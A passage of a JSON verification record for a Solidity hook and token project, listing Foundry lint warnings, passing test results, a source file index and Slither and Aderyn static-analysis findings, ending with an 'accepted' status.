https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:30\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:67\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:75\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:195:13\n    │\n195 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:215:40\n    │\n215 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:32\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:229:60\n    │\n229 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":979,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 301.46µs (0.00ns CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 915928)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1020902)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.86ms (1.82ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17132937)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.06ms (13.36ms CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 398434, ~: 378372)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 424461, ~: 409288)\n[PASS] test_AllBlocksAndSwapModes() (gas: 16893406)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1099542)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 781550)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 674731)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1143865)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 10739441)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386433)\n[PASS] test_InvalidPermissionAddressRefusesDeployment() (gas: 17812)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 913875)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2130377)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 721220)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7409080)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152404)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351850)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 68.18ms (186.79ms CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177415, ~: 177928)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 68.33ms (68.47ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2052  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 2041  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2051  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 880.77ms (874.93ms CPU time)\n\nRan 6 test suites in 882.00ms (1.06s CPU time): 27 tests passed, 0 failed, 1 skipped (28 total tests)\n","passed":true},{"durationMs":44,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":87,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":39,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":242,\"test/AccountingInvariant.t.sol\":89,\"test/MainnetFork.t.sol\":50,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":340,\"test/helpers/LaunchFixture.sol\":133,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":949,"exitCode":0,"name":"slither","output":"[medium/high] incorrect-equality at src/SIMDTESTHook.sol:117: SIMDTESTHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/SIMDTESTHook.sol#117-145) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:233: SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#233-241) uses a dangerous strict equality:\n[medium/medium] unused-return at src/SIMDTESTHook.sol:188: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#188-200) ignores return value by poolManager.donate(poolKey(),0,amount,) (src/SIMDTESTHook.sol#195)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:188: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#188-200) ignores return value by poolManager.donate(poolKey(),amount,0,) (src/SIMDTESTHook.sol#195)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:182: SIMDTESTHook._unlock(bool,uint256) (src/SIMDTESTHook.sol#182-186) ignores return value by poolManager.unlock(abi.encode(donate,amount)) (src/SIMDTESTHook.sol#184)\n[low/medium] reentrancy-benign at src/SIMDTESTHook.sol:182: Reentrancy in SIMDTESTHook._unlock(bool,uint256) (src/SIMDTESTHook.sol#182-186):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:117: Reentrancy in SIMDTESTHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/SIMDTESTHook.sol#117-145):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:233: Reentrancy in SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#233-241):\n[low/medium] timestamp at src/SIMDTESTHook.sol:170: SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#170-180) uses timestamp for comparisons","passed":true},{"durationMs":303,"exitCode":0,"name":"aderyn","output":"[low] internal-function-used-once at src/HookFlags.sol:23: Internal Function Used Only Once\n[low] large-numeric-literal at src/SIMDTEST.sol:9: Large Numeric Literal (2 places)\n[low] state-change-without-event at src/SIMDTESTHook.sol:188: State Change Without Event\n[low] unchecked-return at src/SIMDTESTHook.sol:184: Unchecked Return (2 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"fde7cae49baf708d3b46a767b4b90c5e02052cd866a6eef6b5dd933253822300","verifiedTreeHash":"68ecd3b66d2af10dfefa3cdb8bea41d893fd297c","verifierVersion":"0.1.0+ad90ce4c"}]}